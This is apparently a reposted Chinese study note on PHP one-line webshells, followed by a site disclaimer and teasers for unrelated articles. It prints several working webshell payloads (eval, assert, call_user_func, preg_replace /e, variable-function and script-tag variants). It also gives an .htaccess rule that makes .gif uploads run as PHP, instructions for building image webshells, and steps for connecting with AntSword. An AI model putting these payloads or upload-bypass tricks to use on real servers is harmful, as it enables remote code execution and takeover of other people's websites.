木马学习记录

一句话木马是什么

一句话木马就是仅需要一行代码的木马,很简短且简单,木马的函数将会执行我们发送的命令

如何发送命令&发送的命令如何执行?

有三种方式:GET,POST,COOKIE,一句话木马中用$_GET[' '] $_POST[' ']  $_COOKIE[' ' ]接收我们传输的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

根据前文,一句话木马大多分为两部分,一部分是可以执行代码的部分,一部分是接收数据的部分

eval函数

POST方式

<?php eval($_POST['a']);?>

其中eval函数是执行命令的函数

$_POST['a']就是接收数据的部分,这是一个超全局变量,后文的$_GET也是一个超全局变量。其中的<?php ;?>表示是代码语言,也就是将该代码当做php代码进行解析。eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾(也就是有php代码的标识)。

<?php @eval($_POST['a']);?>

@符号: 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码。

GET方式

<?php @eval($_GET['a']);?>

与post方法类似,仅是上传参数时的方式不同。

assert函数

<?php assert(@$_POST['a']); ?>

这是直接用assert写的一句话木马的。assert与eval类似,但是也存在区别。

eval与assert区别

当遇到可变函数时eval不能执行,就可以用assert

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

比如下面这个一句话木马 

<?php $_POST['1']($_POST['2']); ?>

不能直接传入post参数:1=eval&2=xxx来进行连接

但是如果是assert函数就可以:1=assert&2=xxx

连接方式

浏览器中

前文的post方式和get方式的连接方法是在浏览器中进行传参:

post方式意思是将其中的密码用post传参的方法进行连接,这是在消息体中存放数据

get方式意思是将其中的密码用get传参的方法进行连接,这是在消息头的url路径中存放数据

这两的意思其实差不多:就是用post或者get方法接受变量,将变量里的字符当作php代码来执行。

用工具

工具有多种,比如蚁剑,中国菜刀,冰蝎,我主要用的是蚁剑

当我们上传一个文件,上传成功且知道路径就可以

进入蚁剑的主界面,然后右键,选择添加数据,编辑后显示连接成功,然后点击添加就可以访问该网站目录文件了。

绿色表示连接成功

红色表示有错误

橙色表示没错误但是未连接

一些特殊的php一句话木马

没有php标签的

这里利用script替代标签<?   ?>

<script language="php">@eval($_GET['b'])</script>

回调函数:

<?php
@call_user_func(assert,$_POST['a']);
?>

调用call_user_func()函数,其中第一个参数是函数,第二、三个参数是函数里的参数

call_user_func函数类似于一种特别的调用函数的方法,使用方法如下:

function a($b,$c)

{

echo $b;

echo $c;

}

call_user_func('a', "111","222");

call_user_func('a', "333","444");

//显示 111 222 333 444

?>

preg_replace:

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

php变量函数:

<?php
$a = "eval";
$a(@$_POST['a']);
?>

该例子中第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名

.htaccess文件

<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif        
</FilesMatch>

该文件的作用就是将某文件(在上面的代码中也就是x.gif)当作php文件来解析,这样可以实现后缀名的绕过

那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错

图片马

故名思义,其本身是一个图片,但是包含了木马。最简单的写法就是自己弄一个文件大小较小的文件,然后用文本打开图片,在末尾加上一句话木马就写成了一个图片马

比如这个:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/74758.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(C语言)单链表(1.0)(单链表教程)(数据结构,指针)

目录 1. 什么是单链表&#xff1f; 2. 单链表的代码表示 3. 单链表的基本操作 3.1 初始化链表 3.2 插入结点&#xff08;头插法&#xff09; 3.3 插入结点&#xff08;尾插法&#xff09; 3.4 遍历链表 4. 单链表的优缺点 代码&#xff1a;*L(LinkList)malloc(sizeof(…

Sentinel-自定义资源实现流控和异常处理

目录 使用SphU的API实现自定义资源 BlockException 使用SentinelResource注解定义资源 SentinelResourceAspect 使用Sentinel实现限流降级等效果通常需要先把需要保护的资源定义好&#xff0c;之后再基于定义好的资源为其配置限流降级等规则。 Sentinel对于主流框架&#…

Linux信号处理解析:从入门到实战

Linux信号处理全解析&#xff1a;从入门到实战 一、初识Linux信号&#xff1a;系统级的"紧急电话" 信号是什么&#xff1f; 信号是Linux系统中进程间通信的"紧急通知"&#xff0c;如同现实中的交通信号灯。当用户按下CtrlC&#xff08;产生SIGINT信号&…

Java的Selenium的特殊元素操作与定位之select下拉框

如果页面元素是一个下拉框&#xff0c;我们可以将此web元素封装为Select对象 Select selectnew Select(WebElement element); Select对象常用api select.getOptions();//获取所有选项select.selectBylndex(index);//根据索引选中对应的元素select.selectByValue(value);//选…

蓝桥云客 刷题统计

刷题统计 问题描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做 a 道题目&#xff0c;周六和周日每天做 b 道题目。请你帮小明计算&#xff0c;按照计划他将在第几天实现做题数大于等于 n 题&#xff1f; 输入格式 输入一行包含三个整数 a, b 和 …

三防笔记本有什么用 | 三防笔记本有什么特别

在现代社会&#xff0c;随着科技的不断进步&#xff0c;笔记本电脑已经成为人们工作和生活的重要工具。然而&#xff0c;在一些特殊的工作环境和极端条件下&#xff0c;普通笔记本电脑往往难以满足需求。这时&#xff0c;三防笔记本以其独特的设计和卓越的性能&#xff0c;成为…

智能体和RPA都需要程序思维,如何使用影刀的变量?

欢迎来到涛涛聊AI&#xff0c; 不管AI还是RPA&#xff0c;都需要用到编程思想才能完成批量工作。今天研究了下影刀的变量。 变量类型 根据变量值选择相应的类型&#xff0c;可选择任意一种影刀所支持的数据类型 变量值 指定变量中保存的值&#xff0c;会根据不同的类型设置…

【蓝桥杯】算法笔记3

1. 最长上升子序列(LIS) 1.1. 题目 想象你有一排数字,比如:3, 1, 2, 1, 8, 5, 6 你要从中挑出一些数字,这些数字要满足两个条件: 你挑的数字的顺序要和原来序列中的顺序一致(不能打乱顺序) 你挑的数字要一个比一个大(严格递增) 问:最多能挑出多少个这样的数字? …

性能测试之jmeter的基本使用

简介 Jmeter是Apache的开源项目&#xff0c;基于Java开发&#xff0c;主要用于进行压力测试。 优点&#xff1a;开源免费、支持多协议、轻量级、功能强大 官网&#xff1a;https://jmeter.apache.org/index.html 安装 安装步骤&#xff1a; 下载&#xff1a;进入jmeter的…

【NLP 面经 7、常见transformer面试题】

目录 1. 为何使用多头注意力机制&#xff1f; 2. Q和K使用不同权重矩阵的原因 3. 选择点乘而非加法的原因 4. Attention进行scaled的原因 5. 对padding做mask操作 6. 多头注意力降维原因 7. Transformer Encoder模块简介 8. 乘以embedding size的开方的意义 9. 位置编码 10. 其…

【深度学习】CNN简述

文章目录 一、卷积神经网络&#xff08;CNN&#xff09;二、CNN结构特性1. CNN 典型结构2. 局部连接3. 权重共享4.空间或时间上的次采样 三、理解层面 一、卷积神经网络&#xff08;CNN&#xff09; 卷积神经网络(Convolutional Neural Network&#xff0c;CNN)是一种用于处理…

理解OSPF 特殊区域NSSA和各类LSA特点

本文基于上文 理解OSPF Stub区域和各类LSA特点 在理解了Stub区域之后&#xff0c;我们再来理解一下NSSA区域&#xff0c;NSSA区域用于需要引入少量外部路由&#xff0c;同时又需要保持Stub区域特性的情况 一、 网络总拓扑图 我们在R1上配置黑洞路由&#xff0c;来模拟NSSA区域…

论文阅读笔记:Denoising Diffusion Implicit Models (5)

0、快速访问 论文阅读笔记&#xff1a;Denoising Diffusion Implicit Models &#xff08;1&#xff09; 论文阅读笔记&#xff1a;Denoising Diffusion Implicit Models &#xff08;2&#xff09; 论文阅读笔记&#xff1a;Denoising Diffusion Implicit Models &#xff08…

蓝桥杯2024年第十五届省赛真题-R 格式

题目链接&#xff1a; 思路&#xff1a; 通过数组模拟d的每一位&#xff0c;逐位进行计算&#xff0c;从而实现对d的精确处理。 代码&#xff1a; #include<bits/stdc.h> #define int long long using namespace std; const int N 2020;int n; string s; vector<i…

深入探索 Linux Top 命令:15 个实用示例

在 Linux 系统管理中&#xff0c;top 命令是系统性能监控不可或缺的工具。它能够实时显示系统的 CPU、内存、进程等资源的使用情况&#xff0c;帮助您快速识别性能瓶颈和异常进程。本文将详细介绍 15 个实用的 top 命令使用示例&#xff0c;旨在帮助您更高效地进行系统管理与优…

15.1linux设备树下的platform驱动编写(知识)_csdn

上一章我们详细的讲解了 Linux 下的驱动分离与分层&#xff0c;以及总线、设备和驱动这样的驱动框架。基于总线、设备和驱动这样的驱动框架&#xff0c; Linux 内核提出来 platform 这个虚拟总线&#xff0c;相应的也有 platform 设备和 platform 驱动。 上一章我们讲解了传统的…

Eclipse 视图(View)

Eclipse 视图(View) Eclipse 视图(View)是 Eclipse 界面的重要组成部分,它提供了用户交互的平台,使得用户可以通过图形界面来编辑、调试、分析代码等。在本文中,我们将深入探讨 Eclipse 视图的功能、使用方法以及它们在软件开发中的作用。 1. 视图的功能 Eclipse 视图具…

Python解决“数字插入”问题

Python解决“数字插入”问题 问题描述测试样例解题思路代码 问题描述 小U手中有两个数字 a 和 b。第一个数字是一个任意的正整数&#xff0c;而第二个数字是一个非负整数。她的任务是将第二个数字 b 插入到第一个数字 a 的某个位置&#xff0c;以形成一个最大的可能数字。 你…

ubuntu部署ollama+deepseek+open-webui

ubuntu部署ollamadeepseekopen-webui 全文-ubuntu部署ollamadeepseekopen-webui 大纲 Ollama部署 安装Ollama&#xff1a;使用命令apt install curl和curl -fsSL https://ollama.com/install.sh | sh ollama-v网络访问配置&#xff1a;设置环境变量OLLAMA_HOST0.0.0.0:11434&…

Java的Selenium常用的元素操作API

click 触发当前元素的点击事件 clear() 清空内容 sendKeys(...) 往文本框一类元素中写入内容 getTagName() 获取元素的的标签名 getAttribute(属性名) 根据属性名获取元素属性值 getText() 获取当前元素的文本值 isDisplayed() 查看元素是否显示 get(String url) 访…